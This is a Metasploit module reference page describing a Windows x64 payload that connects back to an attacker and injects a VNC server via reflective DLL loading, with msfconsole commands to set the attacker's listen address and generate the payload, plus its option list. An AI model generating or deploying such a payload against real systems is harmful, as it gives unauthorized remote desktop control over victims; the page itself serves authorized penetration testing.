Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager | Metasploit Exploit Database (DB)

Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager

Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)

Search Other Modules


Rank

  • Normal

Authors

  • sf < stephen_fewer [at] harmonysecurity.com >

Vulnerability References


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use payload/windows/x64/vncinject/reverse_tcp
msf payload(reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(reverse_tcp) > generate


Module Options

AUTOVNC Automatically launch VNC viewer if present (default: true)
EXITFUNC Exit technique: none, thread, process, seh (default: process)
LHOST The listen address
LPORT The listen port (default: 4444)
VNCHOST The local host to use for the VNC proxy (default: 127.0.0.1)
VNCPORT The local port to use for the VNC proxy (default: 5900)
DisableCourtesyShell Disables the Metasploit Courtesy shell
DisableSessionTracking Disables the VNC payload from following the active session as users log in an out of the input desktop
ReverseConnectRetries The number of connection attempts to try before exiting the process
ReverseListenerBindAddress The specific IP address to bind to on the local system
ReverseListenerComm The specific communication channel to use for this listener
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module